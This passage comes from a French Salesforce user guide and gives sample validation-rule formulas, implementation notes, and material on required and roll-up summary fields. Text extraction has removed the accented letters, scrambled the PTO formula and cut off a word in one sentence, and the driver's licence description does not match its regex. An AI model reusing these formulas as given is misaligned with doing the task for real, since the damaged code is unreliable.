libre-service")), NOT( ISPICKVAL( Status, "Rouverte")) )

Message d'erreur :

La requte close peut uniquement prendre le statut Rouverte.

Emplacement de l'erreur :

Statut

Rgles de validation des utilisateurs, rles et profils

Le pourcentage de l'escompte ne dpasse pas le plafond bas sur les rles
Champ

Valeur

Description :

Confirme qu'un champ personnalis sur les opportunits appel Pourcentage de

l'escompte ne dpasse pas une valeur maximale qui varie en fonction du rle de
l'utilisateur. La valeur maximale par dfaut est de 15 %.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 457

Valeur
Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name, $UserRole.Name)

Message d'erreur :

L'escompte (en %) dpasse le plafond autoris dans le cadre de votre rle.

Emplacement de l'erreur :

Pourcentage de remise

Le montant des dpenses ne dpasse pas les dpenses maximales autorises de l'utilisateur
Champ

Valeur

Description :

Valide un champ personnalis appel Montant des dpenses par rapport un champ
utilisateur personnalis appel Dpenses maximales autorises.

Formule :

Expense_Amount__c > $User.Max_Allowed_Expense__c

Message d'erreur :

Le montant ne peut pas dpasser vos dpenses maximales autorises.

Emplacement de l'erreur :

Montant des dpenses

Seul le responsable d'enregistrement peut modifier le champ

Champ

Valeur

Description :

Garantit que seul le responsable d'enregistrement peut apporter des modifications un

champ personnalis appel Objectif personnel.

Formule :

AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id )

Message d'erreur :

Seul le responsable d'enregistrement peut changer le champ Objectif personnel.

Emplacement de l'erreur :

Objectif personnel

Seuls le responsable d'enregistrement ou l'administrateur peuvent changer le champ

Champ

Valeur

Description :

Vrifie qu'un utilisateur peut apporter des modifications un champ personnalis intitul
Objectif personnel uniquement si l'utilisateur est responsable de l'enregistrement
ou a un profil Custom: System Admin.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 458

Valeur
AND( ISCHANGED( Personal_Goal__c ), Owner <> $User.Id,
$Profile.Name <> "Personnalis : Administrateur systme" )

Remarque: Les champs de fusion $Profile ne sont disponibles que dans les
ditions Enterprise Edition, Unlimited Edition et Developer Edition.

Message d'erreur :

Seuls le responsable d'enregistrement ou l'administrateur peuvent changer le champ

Objectif personnel.

Emplacement de l'erreur :

Objectif personnel

La date de clture de l'opportunit ne peut tre antidate que par l'administrateur

Champ

Valeur

Description :

Confirme que la date de clture d'une opportunit ne tombe pas avant le mois en
cours, sauf pour les utilisateurs dont le profil personnalis est appel Personnaliser :
Administrateur systme

Formule :

AND( OR ( ISNEW(), ISCHANGED( CloseDate )), CloseDate < DATE(

YEAR(TODAY()), MONTH(TODAY()), 1), $Profile.Name <>
"Personnaliser : Administrateur systme" )

Remarque: Les champs de fusion $Profile ne sont disponibles que dans les
ditions Enterprise Edition, Unlimited Edition et Developer Edition.

Message d'erreur :

La date de clture ne peut pas tre antrieure au mois en cours.

Emplacement de l'erreur :

Date de clture

Rgles de validation inter-objets

Les remises doivent tre dans la plage
Cet exemple prsente trois rgles de validation sur des produits d'opportunit. Les exemples ci-dessous sont complmentaires
et vous aident grer le montant des remises des produits. Ils ncessitent un champ de pourcentage personnalis des produits
d'opportunit nomm Remise de ligne. Les exemples ci-dessous requirent galement l'utilisation de catalogues de prix
et personnalisent le champ Famille de produits pour qu'il comprenne les valeurs suivantes : Logiciels, Conseils
et Formations.
Les remises logiciel
Champ

Valeur

Description :

Evite que les utilisateurs n'enregistrent des produits logiciels

avec une remise suprieure 10%.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 459

Valeur
AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Logiciel"))

Message d'erreur :

Cette remise doit tre de 10% maximum pour les logiciels.

Emplacement de l'erreur :

Remise de ligne

Remises conseils
Champ

Valeur

Description :

Evite que les utilisateurs n'enregistrent des produits de conseils

avec une remise suprieure 15%.

Formule :

AND(Line_Discount__c > 0.15,

ISPICKVAL(Product2.Family, "Conseils"))

Message d'erreur :

Cette remise doit tre de 15% maximum pour les produits de

conseils.

Emplacement de l'erreur :

Remise de ligne

Remises formation
Champ

Valeur

Description :

Evite que les utilisateurs n'enregistrent des produits de

formations avec une remise suprieure 20%.

Formule :

AND(Line_Discount__c > 0.20,

ISPICKVAL(Product2.Family, "Formation"))

Message d'erreur :

Cette remise doit tre de 20% maximum pour les produits de

formation.

Emplacement de l'erreur :

Remise de ligne

Empcher la modification des produits d'opportunit sur les opportunits cltures

Cet exemple se compose de deux rgles de validation : l'une sur les produits d'opportunit et l'autre sur les opportunits.
Champ

Valeur

Description :

Evite que les utilisateurs ne modifient des produits

d'opportunit aprs la clture d'une opportunit. Crez
l'exemple de rgle de validation suivant sur les produits
d'opportunit.

Personnaliser

Champ
Formule :

Guide de l'utilisateur | Gestion des rgles de validation | 460

Valeur
OR(ISPICKVAL(Opportunity.StageName, "Close
Gagne"), ISPICKVAL(Opportunity.StageName,
"Close Perdue"))

Message d'erreur :

Impossible de modifier les produits d'opportunit des

opportunits cltures.

Emplacement de l'erreur :

Haut de la page

La rgle de validation suivante porte sur les opportunits.

Champ

Valeur

Description :

Evite que les utilisateurs ne suppriment des produits

d'opportunit aprs la clture d'une opportunit. Crez
l'exemple de rgle de validation suivant sur les opportunits.
Il utilise un champ rcapitulatif de cumul personnalis sur les
opportunits qui calcule le nombre de produits d'opportunit
d'une opportunit.

Formule :

AND(OR(ISPICKVAL(StageName, "Close Gagne"),

ISPICKVAL(StageName, "Close Perdue")),
Number_of_Line_Items__c <
PRIORVALUE(Number_of_Line_Items__c) )

Message d'erreur :

Impossible de supprimer les produits d'opportunit des

opportunits cltures.

Emplacement de l'erreur :

Haut de la page

Empche la sauvegarde d'une requte lorsqu'un compte n'a pas de support

Champ

Valeur

Description :

Empche que les utilisateurs n'enregistrent une requte pour

un compte n'ayant pas de support. Cet exemple prsuppose
que les comptes ont un champ de cases cocher personnalis
appel Support autoris qui vrifie que le compte a bien
un support.

Formule :

Account.Allowed_Support__c

= FALSE

Message d'erreur :

Impossible de crer des requtes pour ce compte qui n'a pas

de support.

Emplacement de l'erreur :

Haut de la page

Personnaliser

Guide de l'utilisateur | Gestion des rgles de validation | 461

Empche l'enregistrement d'une requte lorsque le contact ne fait plus partie de l'entreprise
Champ

Valeur

Description :

Empche que les utilisateurs n'enregistrent une requte ouverte

associe un contact qui ne fait plus partie de l'entreprise. Cet
exemple utilise un champ de cases cocher personnalis appel
Ne fait plus partie de l'entreprise.

Formule :

AND(Contact.No_Longer_With_Company__c,
NOT(IsClosed))

Message d'erreur :

Impossible d'enregistrer cette requte car le contact associ ne

fait plus partie de l'entreprise. Pour continuer, veuillez choisir
un autre contact.

Emplacement de l'erreur :

Nom du contact

Rgles de validation Salesforce Ideas

viter le langage injurieux dans le champ Commentaires
Champ

Valeur

Description :

Empche les utilisateurs de saisir un langage injurieux lors de la publication d'un

commentaire.

Formule :

OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody, 'dang'))

Message d'erreur :

Le commentaire comporte un langage injurieux.

Emplacement de l'erreur :

Haut de la page

viter le langage injurieux dans le titre et la description des ides

Champ

Valeur

Description :

Empche les utilisateurs d'utiliser un langage injurieux dans les champs Titre et
Description lors de la publication d'une ide.

Formule :

OR(CONTAINS(Title, 'zut'), CONTAINS(Body, 'zut'))

Message d'erreur :

Le titre ou la description de l'ide comporte un langage injurieux.

Emplacement de l'erreur :

Haut de la page

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Guide de l'utilisateur | Gestion des rgles de validation | 462

Autres rgles de validation

Autoriser l'augmentation mais non la diminution d'un nombre
Champ

Valeur

Description :

Autorise l'augmentation mais non la diminution d'un champ personnalis appel Montant
valid aprs sa cration initiale. Cette rgle utilise la fonction PRIORVALUE() pour
comparer la valeur mise jour du champ avec sa valeur avant mise jour.

Formule :

PRIORVALUE(Commit_Amount__c) > Commit_Amount__c

Message d'erreur :

Le champ Valider le montant ne peut pas tre diminu.

Emplacement de l'erreur :

Valider le montant

Permis de conduire
Champ

Valeur

Description :

Vrifie que le champ personnalis Permis de conduire est au format 999999999999

lorsque le tat (courrier) est France.

Formule :

AND( MailingState = "FR", NOT(REGEX(Drivers_License__c,

"([A-Z]\\d{7})?")) )

Message d'erreur :

Format de permis de conduire invalide.

Emplacement de l'erreur :

Permis de conduire

Obliger les utilisateurs cocher J'accepte les conditions pour entrer certaines valeurs
Champ

Valeur

Description :

Utilise une case cocher intitule J'accepte les conditions pour obliger l'utilisateur
cocher une case lorsqu'ils entrent une valeur appele Nombre de jours qui dpasse
leur solde de congs pays (PTO) disponible.

Formule :

AND( NOT( I_accept_terms__c

$User.PTO_Balance__c )

), Number_of_Days__c >

Message d'erreur :

Une demande entranera un solde ngatif de congs pays. Vous devez accepter les
modalits du solde ngatif de congs pays.

Emplacement de l'erreur :

J'accepte les conditions

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Guide de l'utilisateur | Gestion des rgles de validation | 463

Interdire la modification d'un champ une fois qu'il est enregistr

Champ

Valeur

Description :

Empche les utilisateurs de changer un champ personnalis appel Taux garanti une
fois qu'il a t enregistr.

Formule :

AND( NOT( ISNEW() ), ISCHANGED( Guaranteed_Rate__c ) )

Message d'erreur :

Le taux garanti ne peut pas tre modifi.

Emplacement de l'erreur :

Taux garanti

Format du numro de scurit sociale

Champ

Valeur

Description :

Confirme qu'un champ texte personnalis appel NSS est au format numrique
999-99-9999 (s'il n'est pas vide). Le format doit tre le suivant :
Trois chiffres simples (0 9):\\d{3}
Un tiret
Deux chiffres simples (0 9):\\d{2}
Un tiret
Quatre chiffres simples (0 9):\\d{4}

Formule :

NOT( OR( LEN (Social_Security_Number__c) = 0, REGEX(

Social_Security_Number__c , "[0-9]{3}-[0-9]{2}-[0-9]{4}") ) )

Message d'erreur :

Le NSS doit avoir le format suivant : 999-99-9999.

Emplacement de l'erreur :

NSS

Devise valide
Champ

Valeur

Description :

Confirme la devise slectionne par rapport un sous-ensemble explicite de devises

actives dans votre entreprise au moyen de la liste de slection Devise. Utilisez cet
exemple si vous n'autorisez que quelques devises actives dans votre entreprise tre
appliques certains types d'enregistrement.

Formule :

CASE(CurrencyIsoCode, "USD", 1, "EUR", 1, "GBP", 1, "JPY", 1,

0) = 0

Message d'erreur :

La devise doit tre le dollar US, l'euro, la livre sterling ou le yen japonais.

Emplacement de l'erreur :

Devise

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Guide de l'utilisateur | Gestion des rgles de validation | 464

Numro de carte de crdit valide

Champ

Valeur

Description :

Confirme qu'un champ texte personnalis appel Numro_carte_crdit est au

format numrique 9999-9999-9999-9999 ou 9999999999999999 (s'il n'est pas vide).
Le format doit tre le suivant :
Quatre chiffres (0 9) suivis d'un tiret : \\d{4} Le format mentionn prcdemment est rpt trois fois et est entour de () {3}
Quatre chiffres (0 9)
Le caractre OU (|) permet l'utilisation d'un autre format comportant 16 chiffres
allant de zro neuf et ne contenant pas de tiret : \\d{16}

Formule :

NOT( REGEX( Credit_Card_Number__c ,

"(((\\d{4}-){3}\\d{4})|\\d{16})?"))

Message d'erreur :

Le numro de carte de crdit doit tre au format suivant : 9999-9999-9999-9999 ou

9999999999999999.

Emplacement de l'erreur :

Numro de carte de crdit

Adresse IP valide
Champ

Valeur

Description :

Confirme qu'un champ personnalis appel Adresse IP a un format correct de quatre

nombres trois chiffres (0 255) spars par des points.

Formule :

NOT( REGEX( IP_Address__c,

"^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$"
))

Message d'erreur :

Erreur : Une adresse IP doit avoir le format 999.999.999.999 avec chacun de ces nombres
compris entre 0 et 255.

Emplacement de l'erreur :

Adresse IP

Extension du site Web

Champ

Valeur

Description :

Valide un champ personnalis appel Site Web pour garantir que les quatre derniers
caractres de ce champ figurent explicitement dans la liste des extensions valides de sites
Web.

Formule :

Message d'erreur :

AND( RIGHT( Web_Site__c, 4) <> ".COM", RIGHT( Web_Site__c, 4)

<> ".com", RIGHT( Web_Site__c, 4) <> ".ORG", RIGHT( Web_Site__c,
4) <> ".org", RIGHT( Web_Site__c, 4) <> ".NET", RIGHT(
Web_Site__c, 4) <> ".net", RIGHT( Web_Site__c, 6) <> ".CO.UK",
RIGHT( Web_Site__c, 6) <> ".co.uk" )

Le site Web doit avoir une extension .com, .org, .net ou .co.uk.

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Guide de l'utilisateur | Gestion des rgles de validation | 465

Champ

Valeur

Emplacement de l'erreur :

Site Web

Observations relatives aux rgles de validation

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Avant que l'utilisateur puisse enregistrer l'enregistrement, les rgles de validation vrifient que les donnes entres par l'utilisateur
dans l'enregistrement respectent les normes spcifies. Les rgles de validation peuvent contenir une formule ou une expression
qui value les donnes dans un ou plusieurs champs et renvoie la valeur Vrai ou Faux. Les rgles de validation incluent galement
le message d'erreur afficher lorsque la rgle renvoie la valeur TRUE (vrai) en raison d'une valeur incorrecte. Passez en revue
les notes sur la mise en uvre et les meilleures pratiques prsentes ci-aprs avant de mettre en uvre des rgles de validation
dans votre entreprise.
Notes sur la mise en uvre

Il n'est pas ncessaire de commencer votre formule de rgle de validation par une fonction IF. Toutes les expressions de
condition d'erreur boolennes fonctionnent. Par exemple :
-

Correct : CloseDate < TODAY()

Incorrect : IF(CloseDate < TODAY(), TRUE, FALSE)

Les formules de validation ne peuvent pas faire rfrence des champs de fusion pour des champs de numrotation
automatique, de liste de slection multiple ou d'adresse compose comme Adresse postale. Toutefois, les champs de
fusion peuvent intervenir dans des formules de validation pour des champs d'adresse individuelle comme Facturation Ville.
Les formules de validation ne peuvent pas faire rfrence aux champs de statistiques de campagnes, notamment les statistiques
des campagnes individuelles et des hirarchies de campagnes. Pour une liste des champs qui ne peuvent pas tre utiliss
dans les formules de validation, consultez la rubrique Champs de campagne la page 1189.
Lorsqu'une rgle de validation choue, Salesforce.com continue appliquer les rgles de validation restantes au champ
concern ou aux autres champs de la page et affiche tous les messages d'erreur appropris simultanment.
La page de dtails d'un champ d'activit personnalis ne rpertorie pas les rgles de validation associes.
Si des rgles de validation existent pour les activits et que vous crez une activit au cours de la conversion d'une piste,
celle-ci est convertie mais aucune tche n'est cre.
Les rgles de validation ne sont forces que pendant la conversion de piste si la validation et les dclencheurs de conversion
de piste sont activs dans votre entreprise.
Les hirarchies de campagnes ignorent les rgles de validation.
Avant que des enregistrements soumis via la fonction Web vers piste ou Web vers requte soient crs, Salesforce.com
excute des rgles de validation. Seuls les enregistrements ayant des valeurs valides sont crs.
Le module Data Loader et l'API Force.com version 7 et ultrieur excutent des rgles de validation.
Salesforce.com excute des rgles de validation sur les enregistrements avant qu'ils soient imports. Les enregistrements
pour lesquels la validation choue ne sont pas imports. Si ncessaire, avant d'effectuer une importation, dsactivez les
rgles de validation qui affectent les enregistrements que vous importez.
Dans la mesure o les mises jour d'enregistrement bases sur des rgles de workflow ne dclenchent aucune rgle de
validation, les rgles de workflow peuvent rendre non valides des champs auparavant valides.

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Guide de l'utilisateur | Gestion des rgles de validation | 466

Lors de la dfinition des rgles de validation, vous pouvez dfinir l'emplacement de l'erreur sur Top of Page ou Field.
Si l'emplacement de l'erreur est dfini sur un champ qui est supprim ultrieurement ou qui n'est pas visible dans la
prsentation de page, Salesforce.com modifie automatiquement l'emplacement de l'erreur pour le dfinir sur Haut de
la page.
Une erreur de type Formule non valide s'affiche si votre formule comporte une erreur d'excution telle qu'une division par
zro.
Vous ne pouvez pas crer des rgles de validation pour .
Si un champ de recherche fait rfrence un enregistrement qui a t supprim, Salesforce.com configure le champ de
recherche sur nul et n'excute aucun dclencheur Apex, aucune rgle de validation ou de workflow, et aucun champ
rcapitulatif de cumul.
Lorsqu'une rgle de validation contient la fonction BEGINS ou CONTAINS, elle considre les champs vides comme
valides. Par exemple, dans le cas d'une rgle de validation qui teste si le numro de srie d'un actif commence par 3, tous
les actifs dont le numro de srie est vide sont considrs comme valides.
Puisque les champs rcapitulatifs de cumul ne sont pas affichs dans les pages de modification, vous pouvez les utiliser dans
votre rgle de validation, mais pas en tant qu'emplacement de l'erreur.
Les rgles de validation ne fonctionnent pas avec les enregistrements multiples mis jour aprs un changement de responsable
ou un transfert de masse. Cependant, le changement de responsable d'un enregistrement unique dclenche l'excution des
rgles de validation.

Les meilleures pratiques

Lors de la cration de rgles de validation, tenez compte de tous les paramtres de votre entreprise pouvant faire chouer
la validation d'un enregistrement, tels que les rgles d'attribution, les mises jour de champ, la scurit au niveau du champ
ou les champs masqus sur une prsentation de page.
Veillez ne pas crer deux rgles de validation contradictoires pour le mme champ. Sinon, les utilisateurs ne pourront pas
enregistrer l'enregistrement.
Une rgle de validation mal conue peut empcher les utilisateurs d'enregistrer des donnes valides. Veillez bien tester
les rgles de validation avant de les activer. Les utilisateurs ne peuvent pas enregistrer leur enregistrement si la formule
renvoie toujours la valeur Vrai.
tant donn que les rgles de validation sont excutes sur le portail libre-service, assurez-vous qu'elles n'empchent pas
les utilisateurs libre-service de crer des requtes.
Rdigez des messages d'erreur parlants :
Prcisez toujours l'tiquette du champ.
Les utilisateurs peuvent ne pas savoir quel est le champ dont la validation choue, en particulier si le message d'erreur
apparat en haut de la page.
Donnez des instructions.
Un message d'erreur tel que Entre non valide n'indique pas quel type d'entre saisir. Utilisez un message d'erreur
tel que : La date de clture doit tre postrieure la date du jour.
Si ncessaire, traduisez vos messages d'erreur.
Si les utilisateurs de votre entreprise parlent diffrentes langues, traduisez vos messages d'erreur l'aide du systme
de traduction. Reportez-vous Configuration du systme de traduction la page 88.
Attribuez des numros d'erreur aux rgles de validation et aux messages d'erreur.
Ceci vous permet d'identifier la source de l'erreur.

Tenez compte des champs visibles et modifiables sur les prsentations de page des utilisateurs, conformment la scurit
au niveau du champ dfinie. Les champs qui ne sont ni visibles ni modifiables figurent cependant dans les formules des
rgles de validation et peuvent provoquer une erreur de validation. Si un message d'erreur est dfini pour s'afficher ct
d'un champ masqu, il s'affiche en haut de la page.

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Guide de l'utilisateur | Gestion des rgles de validation | 467

Pour ces champs, vous pouvez ajouter une valeur par dfaut afin de les remplir automatiquement avec une valeur valide.
En effet, les utilisateurs ne peuvent pas les modifier pour corriger une ventuelle erreur de validation. Reportez-vous
Dfinition des valeurs de champ par dfaut la page 431.

Utilisez le champ de fusion de l'ID du type d'enregistrement dans votre formule pour appliquer une validation diffrente
en fonction du type d'enregistrement. Pour plus d'informations sur les champs de fusion, reportez-vous Prsentation des
champs de fusion la page 67.
Si les comptes personnels sont activs pour votre entreprise :
-

Pour dfinir une rgle de validation ne s'appliquant qu'aux comptes personnels, utilisez le champ de fusion Est un
compte personnel.
Vous devez grer les noms de compte personnel et de compte professionnel sparment dans les rgles de validation
de compte. Pour les comptes professionnels, utilisez le champ de fusion Nom. Pour les comptes personnels, utilisez les
champs de fusion Prnom et Nom.
Les champs Date d'anniversaire et Adresse e-mail, entre autres, qui ne sont pris en charge que pour les
comptes personnels, sont disponibles en tant que champs de fusion dans les rgles de validation de compte. Lorsque
vous utilisez l'un de ces champs de fusion, notez que les enregistrements de compte professionnel sont traits comme
si ces champs comportaient des valeurs vides.

Lors de l'utilisation d'une rgle de validation destine vrifier si un champ numrique contient bien une valeur donne,
utilisez la fonction ISNULL pour inclure les champs qui ne contiennent aucune valeur. Par exemple, pour vrifier si un
champ personnalis contient la valeur '1,' utilisez la rgle de validation suivante pour afficher une erreur si le champ est
vide ou prsente une autre valeur :
OR(ISNULL(field__c), field__c<>1)

Simplifiez vos formules de validation l'aide des cases cocher qui n'exigent aucune intervention de l'oprateur puisqu'elles
renvoient une valeur de type TRUE (vrai) ou FALSE (faux). Par exemple, la formule de validation suivante vrifie, l'aide
du champ de fusion HasOpportunityLineItem, qu'une opportunit comporte bien des produits avant de laisser les utilisateurs
enregistrer une modification s'y rapportant :
NOT(OR(ISNEW(),HasOpportunityLineItem))

Lorsque vous rfrencez des champs associs dans votre formule de validation, assurez-vous que ces objets sont dploys.
l'aide du journal de dbogage, surveillez les dtails de dbut et de fin de chaque rgle de validation value.
Vous pouvez toujours valider les valeurs des champs crypts l'aide des rgles de validation ou des scripts Apex. Ces deux
mthodes fonctionnent, mme si l'utilisateur ne dispose pas de l'autorisation Afficher les donnes cryptes. Les donnes
concernant les champs crypts dans le journal de dbogage sont masques.

Voir aussi :
propos des rgles de validation
Dfinition des rgles de validation
Exemples de rgles de validation

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Guide de l'utilisateur | propos des champs universellement requis | 468

propos des champs universellement requis

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Un champ universellement requis est un champ personnalis qui doit avoir une valeur ds qu'un enregistrement est sauvegard
dans Salesforce.com, l'API Force.com, Connect Offline, Connect pour Outlook, Connect pour Lotus Notes, le portail
libre-service ou des processus automatiss tels que Web vers piste et Web vers requte. Lorsqu'un champ est obligatoire sur
une prsentation de page ou via la scurit au niveau des champs, les utilisateurs doivent imprativement saisir une valeur, mais
rendre un champ requis universellement permet une meilleure qualit des donnes, qui dpasse la simple prsentation des
pages.
Voici les types de champ personnalis que vous pouvez transformer en champs universellement requis :

Devise
Date
Date/heure
E-mail
Relation principal-dtails (toujours obligatoire)
Numro
Pourcentage
Tlphone
Texte
Zone de texte
URL

Pour qu'un champ personnalis devienne universellement requis, cochez la case Obligatoire lors du paramtrage.
Remarque: Vous devez spcifier une valeur par dfaut pour les champs personnaliss de membre de campagne requis.
Si vous rendez un champ d'utilisateur universellement requis, vous devez prciser sa valeur par dfaut. Reportez-vous
Dfinition des valeurs de champ par dfaut la page 431.
Les membres de groupe de relations ne prennent pas en charge les champs universellement requis.

Voir aussi :
Observations sur les champs universellement requis
Cration de champs personnaliss

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Guide de l'utilisateur | propos des champs universellement requis | 469

Observations sur les champs universellement requis

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Un champ universellement requis est un champ personnalis qui doit avoir une valeur ds qu'un enregistrement est sauvegard
dans Salesforce.com, l'API Force.com, Connect Offline, Connect pour Outlook, Connect pour Lotus Notes, le portail
libre-service ou des processus automatiss tels que Web vers piste et Web vers requte. Passez en revue les observations suivantes
avant de transformer vos champs personnaliss en champs universellement requis.

Les champs standard ne peuvent pas tre des champs universellement requis. Pour obtenir la liste des types de champ
personnalis transformables en champs universellement requis, reportez-vous propos des champs universellement requis
la page 468.
Les champs universellement requis le sont dans tous les types d'enregistrement.
Les pages de modification affichent toujours les champs universellement requis, quelle que soit la scurit au niveau des
champs.
Lors de la conception des prsentations de page, les champs universellement requis :
-

Ne peuvent pas tre supprims d'une prsentation de page

Sont automatiquement ajouts la fin de la premire section d'une prsentation de page s'ils ne s'y trouvent pas dj
Ne peuvent tre ni en lecture seule, ni facultatifs
Apparaissent en gras pour indiquer qu'ils sont toujours visibles
Sont dsactivs sur la page des proprits de champ car vous ne pouvez pas supprimer le paramtrage obligatoire

Les champs universellement requis ne sont forcs que pendant la conversion de piste si la validation et les dclencheurs de
conversion de piste sont activs dans votre entreprise.
La fonction de cration rapide ne permet pas d'appliquer les champs universellement requis.
Pour qu'un champ d'activit personnalis devienne un champ universellement requis, vous devez galement saisir une valeur
par dfaut.
Les champs universellement requis doivent tre inclus dans les fichiers d'importation pour viter l'chec de l'importation.
Pour plus d'informations, reportez-vous propos des champs universellement requis la page 468. Pour plus d'informations,
reportez-vous Prsentation de l'importation la page 255.
Vous ne devez pas attribuer de valeur par dfaut aux champs la fois obligatoires et uniques. Vous risqueriez de provoquer
des erreurs d'unicit.
Un champ ne peut pas tre universellement requis s'il est utilis par une mise jour de champ qui dfinit ce champ sur une
valeur vide. Pour plus d'informations, reportez-vous Dfinition des mises jour de champ la page 742.
Les champs obligatoires peuvent tre vides dans les enregistrements qui existaient avant que le champ ne soit requis.
Lorsqu'un utilisateur met jour un enregistrement avec un champ obligatoire vide, cet utilisateur doit saisir une valeur
dans le champ requis avant de sauvegarder l'enregistrement.

Voir aussi :
propos des champs universellement requis
Cration de champs personnaliss

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Guide de l'utilisateur | propos des champs rcapitulatifs de cumul | 470

propos des champs rcapitulatifs de cumul

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Alors que vos champs de formule calculent des valeurs l'aide des champs d'un seul enregistrement, les champs rcapitulatifs
de cumul calculent des valeurs partir d'un ensemble d'enregistrements associs, tels que ceux d'une liste associe. Vous pouvez
crer des champs rcapitulatifs de cumul qui affichent automatiquement une valeur sur un enregistrement principal en fonction
des valeurs des enregistrements dans un enregistrement de dtails. Ces enregistrements de dtails doivent tre directement
associs l'enregistrement principal via une relation de type principal-dtails. Par exemple, un champ de compte personnalis
intitul Montant total de la facture affiche la somme des montants apparaissant sur les factures de tous les
enregistrements d'objet personnalis en rapport avec les factures de la liste associe Factures d'un compte.
Vous pouvez raliser diffrents types de calcul l'aide des champs rcapitulatifs de cumul. Vous pouvez calculer le nombre
d'enregistrements de dtails associs un enregistrement principal ou calculer la somme, la valeur minimale ou la valeur
maximale d'un champ dans les enregistrements de dtails.
Avant de crer des champs rcapitulatifs de cumul pour votre organisation, lisez les conseils et les meilleures pratiques.
Conseils en matire de mise en uvre

Crez des champs rcapitulatifs de cumul sur :

-

Tout objet personnalis prsent du ct principal d'une relation principal-dtails

Tout objet standard prsent du ct principal d'une relation principal-dtails avec un objet personnalis
Opportunits qui utilisent les valeurs des produits lis l'opportunit
Comptes qui utilisent les valeurs des opportunits associes
Campagne utilisant le statut de membre de campagne ou les valeurs de champs personnaliss de membre de campagne
Remarque: Champs de formule personnaliss de membre de campagne qui rfrencent des champs drivs de
pistes ou de contacts non pris en charge.

Les types de champ que vous pouvez calculer dans un champ rcapitulatif de cumul dpendent du type de calcul utilis.
Par exemple,
-

Des champs nombre, devise et pourcentage sont disponibles lorsque vous slectionnez SUM comme type de cumul.
Des champs nombre, devise, pourcentage, date et date/heure sont disponibles lorsque vous slectionnez MIN ou MAX
comme type de cumul.

Il se peut que vous ne puissiez pas modifier le type d'un champ que vous rfrencez dans un champ de rcapitulatif de
cumul.
Pour plus d'informations sur le nombre maximal de champs rcapitulatifs de cumul autoris dans votre organisation,
reportez-vous ditions Salesforce.com et limitations la page 932.
Les champs rcapitulatifs de cumul ne peuvent pas calculer les valeurs d'autres champs rcapitulatifs de cumul l'exception
des champs rcapitulatifs de cumul de compte opportunit, qui vous permettent de calculer les valeurs des champs
rcapitulatifs de cumul des opportunits.
Les champs rcapitulatifs de cumul peuvent calculer les valeurs de champs de formule s'ils ne contiennent pas de rfrences
ou fonctions de champ d'objet crois qui calculent automatiquement les valeurs, comme NOW ou TODAY.

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Guide de l'utilisateur | propos des champs rcapitulatifs de cumul | 471

Remarque: La valeur d'un champ de formule peut gnrer le rsultat #Error! , ce qui affecte le total rcapitul.
Si le type de rcapitulatif de cumul que vous utilisez est COUNT, les enregistrements sont inclus qu'ils contiennent
un champ de formule prsentant une erreur ou non, mais lorsque l'option Champ synthtiser est un champ
de formule gnrant le rsultat #Error! , les calculs de type MIN, MAX et SUM excluent ces valeurs de formule.

Assurez-vous que le filtre correspondant votre rcapitulatif de cumul ne dtecte aucun champ de formule gnrant le
rsultat #Error! . Si vos critres de filtre utilisent un champ de formule gnrant une erreur, Salesforce.com ne renvoie
aucun rsultat pour ces critres. Par exemple, si votre filtre de rcapitulatif de cumul est Champ de formule est gal 10
et que deux enregistrements contiennent des erreurs tandis qu'un enregistrement prsente la valeur 10 dans ce champ, votre
rcapitulatif ne comporte que ce dernier enregistrement.
Modifier la valeur d'un champ rcapitulatif de cumul peut entraner l'excution des rgles d'attribution. Si un champ
rcapitulatif de cumul fait partie des critres d'une rgle d'attribution, la nouvelle valeur du champ sert valuer si
l'enregistrement doit tre rattribu.
Les champs rcapitulatifs de cumul peuvent dclencher des rgles de workflow et des validations de champ. Cependant,
les rgles de workflow et les validations de champ ne se dclenchent pas lorsque les modifications suivantes entranent un
nouveau calcul de masse des valeurs de rcapitulatif de cumul :
-

Modification de la dfinition du rcapitulatif de cumul (objet, fonction ou champ regroup)

Modification de l'expression d'un champ de formule rfrenc dans un champ rcapitulatif de cumul
Remplacement des valeurs de liste de slection pour les champs de liste de slection rfrencs dans le filtre de rcapitulatif
de cumul
Modification des dfinitions de type d'enregistrement de liste de slection
Modification des taux de conversion de devise
Changement des entres de catalogue de prix

Le calcul des valeurs de champ rcapitulatif de cumul peut prendre jusqu' 30 minutes, en fonction du nombre
d'enregistrements affects et d'autres facteurs.
Salesforce.com ne recalcule pas la valeur de champs rcapitulatifs de cumul de campagne lors de la suppression de pistes
ou de contacts. Slectionnez l'option Imposer un nouveau calcul de masse de ce champ, dans la page de
modification d'un champ rcapitulatif de cumul de campagne, pour recalculer manuellement la valeur.
Salesforce.com ne vous empche pas de crer des champs rcapitulatifs de cumul qui peuvent gnrer des valeurs incorrectes,
telles que le 29 fvrier pour une anne non bissextile. Si un champ rcapitulatif de cumul existant entrane une valeur
incorrecte, Salesforce.com ne recalcule pas la valeur et le champ continue d'afficher une icne de rcapitulatif de cumul
incorrect ( ) jusqu' la modification des valeurs rsumes.
Si votre entreprise utilise plusieurs devises, la devise de l'enregistrement principal dtermine celle du champ rcapitulatif
de cumul. Par exemple, si les enregistrements principal et dtails n'ont des devises diffrentes, Salesforce.com convertit les
valeurs de l'enregistrement de dtails dans la devise de l'enregistrement principal avant de calculer la valeur finale et de
l'afficher dans la devise de l'enregistrement principal.
Les champs de zone de texte longue, de liste de slection multiple et de description, ainsi que les champs systme tels
que Dernire activit, les champs de formule et les champs de recherche (tels que Code produit) ne peuvent pas
tre utiliss dans la colonne des champs des filtres de rcapitulatif de cumul.
